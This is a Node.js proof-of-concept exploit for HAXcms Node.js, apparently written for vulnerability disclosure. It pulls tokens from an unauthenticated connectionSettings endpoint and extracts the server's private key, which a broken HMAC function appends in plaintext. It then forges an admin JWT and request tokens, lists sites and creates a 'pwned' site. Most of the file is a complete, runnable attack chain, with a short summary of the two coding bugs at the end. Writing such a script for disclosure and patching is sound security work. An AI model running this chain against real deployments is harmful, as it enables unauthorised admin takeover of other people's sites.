#!/usr/bin/env node /** * PoC: HAXcms Node.js — Private Key Disclosure via Broken HMAC (CWE-321, CWE-200) * * Vulnerable code: haxcms-nodejs/src/lib/HAXCMS.js lines 2158-2163 * * Usage: node poc_hmac_key_leak.js * Example: node poc_hmac_key_leak.js http://localhost:3000 */ const crypto = require('crypto'); const http = require('http'); const https = require('https'); const TARGET = process.argv[2] || 'http://localhost:3000'; // ── Helper: Reproduce the VULNERABLE hmacBase64 from HAXCMS.js:2158-2163 ── function hmacBase64_vulnerable(data, key) { var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); var buf2 = Buffer.from(key); return Buffer.concat([buf1, buf2]).toString('base64') .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); } // ── Helper: What a CORRECT hmacBase64 looks like (PHP version, HAXCMS.php:1619-1631) ── function hmacBase64_correct(data, key) { return crypto.createHmac("sha256", key).update(data).digest('base64') .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); } // ── Helper: Extract the private key embedded inside a broken HMAC token ── function extractKeyFromToken(token) { const padded = token.replace(/-/g, '+').replace(/_/g, '/'); const decoded = Buffer.from(padded, 'base64'); const hmacPart = decoded.slice(0, 32); // first 32 bytes = SHA-256 digest (useless, keyed with "0") const keyBytes = decoded.slice(32); // remaining bytes = privateKey+salt IN PLAINTEXT return { hmac: hmacPart.toString('hex'), key: keyBytes.toString('utf8') }; } function fetch(url) { return new Promise((resolve, reject) => { const mod = url.startsWith('https') ? https : http; mod.get(url, { rejectUnauthorized: false }, (res) => { let data = ''; res.on('data', chunk => data += chunk); res.on('end', () => resolve(data)); }).on('error', reject); }); } function post(url, body) { return new Promise((resolve, reject) => { const parsed = new URL(url); const mod = parsed.protocol === 'https:' ? https : http; const postData = JSON.stringify(body); const opts = { hostname: parsed.hostname, port: parsed.port, path: parsed.pathname + parsed.search, method: 'POST', rejectUnauthorized: false, headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) } }; const req = mod.request(opts, (res) => { let data = ''; res.on('data', chunk => data += chunk); res.on('end', () => resolve({ status: res.statusCode, body: data })); }); req.on('error', reject); req.write(postData); req.end(); }); } // ════════════════════════════════════════════════════════════════════ // MAIN // ════════════════════════════════════════════════════════════════════ async function main() { console.log(''); console.log('================================================================'); console.log(' HAXcms Node.js — Private Key Disclosure via Broken HMAC'); console.log(' CWE-321 (Hard-Coded Crypto Key) + CWE-200 (Info Exposure)'); console.log(' Vulnerable file: src/lib/HAXCMS.js lines 2158-2163'); console.log('================================================================'); console.log(' Target: ' + TARGET); console.log('================================================================\n'); // ──────────────────────────────────────────────────────────────── // STEP 1 — Fetch tokens from the UNAUTHENTICATED endpoint // ──────────────────────────────────────────────────────────────── console.log('┌──────────────────────────────────────────────────────────────┐'); console.log('│ STEP 1: Fetch /system/api/connectionSettings (NO AUTH) │'); console.log('└──────────────────────────────────────────────────────────────┘'); console.log(''); console.log(' This endpoint is publicly accessible — it is listed in the'); console.log(' JWT validation skip list at src/app.js. No cookies, no'); console.log(' headers, no authentication of any kind is required.'); console.log(''); console.log(' Request: GET ' + TARGET + '/system/api/connectionSettings'); console.log(''); const raw = await fetch(TARGET + '/system/api/connectionSettings'); // Parse — could be JS (window.appSettings = {...};) or raw JSON let settings; const jsMatch = raw.match(/window\.appSettings\s*=\s*(\{[\s\S]*\});/); if (jsMatch) { settings = JSON.parse(jsMatch[1]); } else { try { settings = JSON.parse(raw); } catch(e) { console.log(' ERROR: Could not parse response.'); console.log(' Raw (first 500 chars): ' + raw.substring(0, 500)); process.exit(1); } } const token = settings.token || settings.getFormToken || (settings.appStore && settings.appStore.params && settings.appStore.params.appstore_token); if (!token) { console.log(' ERROR: No token found in response.'); process.exit(1); } console.log(' Response received. Tokens found in the JSON body:'); console.log(''); console.log(' token: ' + (settings.token || 'N/A')); console.log(' getFormToken: ' + (settings.getFormToken || 'N/A')); if (settings.appStore && settings.appStore.params) { console.log(' appstore_token: ' + (settings.appStore.params.appstore_token || 'N/A')); console.log(' site_token: ' + (settings.appStore.params.site_token || 'N/A')); } console.log(''); console.log(' NOTE: A correctly implemented HMAC token would be ~44 chars'); console.log(' (32 bytes base64-encoded). These tokens are ' + token.length + ' chars,'); console.log(' which is the first visible indicator that extra data'); console.log(' (the private key) is embedded in the token output.'); console.log(''); // ──────────────────────────────────────────────────────────────── // STEP 2 — Extract the private key from the token // ──────────────────────────────────────────────────────────────── console.log('┌──────────────────────────────────────────────────────────────┐'); console.log('│ STEP 2: Extract the private key from the token │'); console.log('└──────────────────────────────────────────────────────────────┘'); console.log(''); console.log(' The vulnerable hmacBase64() function (HAXCMS.js:2158-2163)'); console.log(' produces tokens with this structure:'); console.log(''); console.log(' base64url( [32 bytes: HMAC-SHA256 with key "0"]'); console.log(' [N bytes: privateKey+salt PLAINTEXT] )'); console.log(''); console.log(' To extract the key, we:'); console.log(' 1. Base64-decode the token'); console.log(' 2. Discard the first 32 bytes (the useless HMAC)'); console.log(' 3. Read the remaining bytes as UTF-8 — that is the key'); console.log(''); const { hmac, key } = extractKeyFromToken(token); if (key.length === 0) { console.log(' Token is exactly 32 bytes — key NOT leaked.'); console.log(' This instance may be running the fixed version or PHP backend.'); process.exit(1); } console.log(' Token decoded (' + Buffer.from(token.replace(/-/g,'+').replace(/_/g,'/'), 'base64').length + ' bytes total):'); console.log(''); console.log(' Bytes 0-31 (HMAC digest, keyed with "0"):'); console.log(' ' + hmac); console.log(''); console.log(' Bytes 32+ (privateKey + salt in PLAINTEXT):'); console.log(' ' + key); console.log(''); console.log(' RESULT: Private key successfully extracted!'); console.log(' Key length: ' + key.length + ' characters'); console.log(''); // ──────────────────────────────────────────────────────────────── // STEP 3 — Verify the extracted key is correct // ──────────────────────────────────────────────────────────────── console.log('┌──────────────────────────────────────────────────────────────┐'); console.log('│ STEP 3: Verify the extracted key is correct │'); console.log('└──────────────────────────────────────────────────────────────┘'); console.log(''); console.log(' We recompute the default token using our extracted key and'); console.log(' the vulnerable hmacBase64() function, then compare it to'); console.log(' the token the server returned.'); console.log(''); const recomputed = hmacBase64_vulnerable('', key); const serverToken = settings.token; console.log(' Server token: ' + (serverToken || 'N/A')); console.log(' Recomputed token: ' + recomputed); console.log(''); if (serverToken && recomputed === serverToken) { console.log(' MATCH — extracted key is correct.'); } else if (!serverToken) { console.log(' (Server did not return a base "token" field; skipping comparison.)'); } else { console.log(' WARNING: Tokens do not match — key may be partially incorrect.'); } console.log(''); // ──────────────────────────────────────────────────────────────── // STEP 4 — Forge an admin JWT using the stolen key // ──────────────────────────────────────────────────────────────── console.log('┌──────────────────────────────────────────────────────────────┐'); console.log('│ STEP 4: Forge an admin JWT using the stolen key │'); console.log('└──────────────────────────────────────────────────────────────┘'); console.log(''); console.log(' HAXcms JWTs are signed with privateKey+salt (HAXCMS.js:2830):'); console.log(' JWT.sign(payload, this.privateKey + this.salt)'); console.log(''); console.log(' The JWT payload requires:'); console.log(' - id: hmacBase64("user", key) — the user request token'); console.log(' - user: "admin" — the username'); console.log(' - iat: current timestamp'); console.log(' - exp: expiry timestamp'); console.log(''); let jwt; try { jwt = require('jsonwebtoken'); } catch(e) { console.log(' ERROR: jsonwebtoken not installed. Run: npm install jsonwebtoken'); console.log(' The key has been extracted — JWT forgery requires this module.'); console.log(' Extracted key: ' + key); return; } const forgedId = hmacBase64_vulnerable('user', key); const now = Math.floor(Date.now() / 1000); const forgedPayload = { id: forgedId, user: 'admin', iat: now, exp: now + 900 }; console.log(' Forging JWT with payload:'); console.log(' {'); console.log(' id: "' + forgedId.substring(0, 40) + '..."'); console.log(' user: "admin"'); console.log(' iat: ' + now + ' (' + new Date(now * 1000).toISOString() + ')'); console.log(' exp: ' + (now + 900) + ' (' + new Date((now + 900) * 1000).toISOString() + ')'); console.log(' }'); console.log(''); console.log(' Signing key: ' + key); console.log(''); const forgedJWT = jwt.sign(forgedPayload, key); console.log(' Forged JWT:'); console.log(' ' + forgedJWT); console.log(''); // Decode to confirm const decoded = jwt.verify(forgedJWT, key); console.log(' JWT signature verified locally:'); console.log(' user = ' + decoded.user); console.log(' exp = ' + new Date(decoded.exp * 1000).toISOString()); console.log(''); // ──────────────────────────────────────────────────────────────── // STEP 5 — Forge request tokens needed by authenticated endpoints // ──────────────────────────────────────────────────────────────── console.log('┌──────────────────────────────────────────────────────────────┐'); console.log('│ STEP 5: Forge request tokens for authenticated endpoints │'); console.log('└──────────────────────────────────────────────────────────────┘'); console.log(''); console.log(' Authenticated API calls also require HMAC request tokens:'); console.log(' user_token = hmacBase64("admin", key)'); console.log(' base_token = hmacBase64("", key)'); console.log(' form_token = hmacBase64("form", key)'); console.log(''); const userToken = hmacBase64_vulnerable('admin', key); const baseToken = hmacBase64_vulnerable('', key); const formToken = hmacBase64_vulnerable('form', key); console.log(' Forged tokens:'); console.log(' user_token: ' + userToken); console.log(' base_token: ' + baseToken); console.log(' form_token: ' + formToken); console.log(''); // ──────────────────────────────────────────────────────────────── // STEP 6 — Call authenticated endpoint to prove admin access // ──────────────────────────────────────────────────────────────── console.log('┌──────────────────────────────────────────────────────────────┐'); console.log('│ STEP 6: Call authenticated endpoint (listSites) │'); console.log('└──────────────────────────────────────────────────────────────┘'); console.log(''); console.log(' Using the forged JWT and user_token to call /system/api/listSites.'); console.log(' This endpoint requires admin authentication.'); console.log(''); const listUrl = TARGET + '/system/api/listSites?user_token=' + encodeURIComponent(userToken) + '&jwt=' + encodeURIComponent(forgedJWT); console.log(' Request: GET ' + TARGET + '/system/api/listSites'); console.log(' ?user_token=' + userToken.substring(0, 30) + '...'); console.log(' &jwt=' + forgedJWT.substring(0, 30) + '...'); console.log(''); const listResp = await fetch(listUrl); console.log(' Response (first 500 chars):'); console.log(' ' + listResp.substring(0, 500)); console.log(''); // ──────────────────────────────────────────────────────────────── // STEP 7 — Create a site to prove full write access // ──────────────────────────────────────────────────────────────── const siteName = 'pwned-' + Date.now(); console.log('┌──────────────────────────────────────────────────────────────┐'); console.log('│ STEP 7: Create a site to prove full admin write access │'); console.log('└──────────────────────────────────────────────────────────────┘'); console.log(''); console.log(' Calling POST /system/api/createSite with forged credentials'); console.log(' to create site "' + siteName + '".'); console.log(''); const createUrl = TARGET + '/system/api/createSite?user_token=' + encodeURIComponent(userToken); const createResp = await post(createUrl, { jwt: forgedJWT, token: baseToken, site: { name: siteName }, theme: 'clean-one', type: 'course' }); console.log(' HTTP Status: ' + createResp.status); console.log(' Response:'); console.log(' ' + createResp.body.substring(0, 500)); console.log(''); if (createResp.status === 200) { console.log(' SITE CREATED SUCCESSFULLY — full admin access confirmed.'); console.log(' The site "' + siteName + '" now exists on disk at _sites/' + siteName + '/'); } else { console.log(' Site creation returned status ' + createResp.status + '.'); console.log(' Check if the server is running and accessible.'); } console.log(''); // ──────────────────────────────────────────────────────────────── // SUMMARY // ──────────────────────────────────────────────────────────────── console.log('================================================================'); console.log(' EXPLOIT SUMMARY'); console.log('================================================================'); console.log(''); console.log(' Vulnerability: Broken HMAC in hmacBase64() — HAXCMS.js:2158-2163'); console.log(''); console.log(' Bug 1 (line 2160):'); console.log(' crypto.createHmac("sha256", "0") ← key hardcoded to "0"'); console.log(' Should be: crypto.createHmac("sha256", key)'); console.log(''); console.log(' Bug 2 (lines 2161-2163):'); console.log(' Buffer.concat([hmacDigest, Buffer.from(key)]) ← key appended'); console.log(' Should be: just return the HMAC digest, never include the key'); console.log(''); console.log(' Attack chain:'); console.log(' 1. GET /connectionSettings (no auth) → receive tokens'); console.log(' 2. Base64-decode any token → discard first 32 bytes → read key'); console.log(' 3. Use key to forge JWT (jwt.sign(payload, key))'); console.log(' 4. Use key to forge request tokens (hmacBase64(value, key))'); console.log(' 5. Call any authenticated API with forged credentials'); console.log(''); console.log(' Extracted key: ' + key); console.log(' Forged JWT: ' + forgedJWT.substring(0, 50) + '...'); console.log(' Admin access: ' + (createResp.status === 200 ? 'CONFIRMED' : 'CHECK MANUALLY')); console.log(''); console.log('================================================================'); } main().catch(err => { console.error('Error:', err.message); process.exit(1); });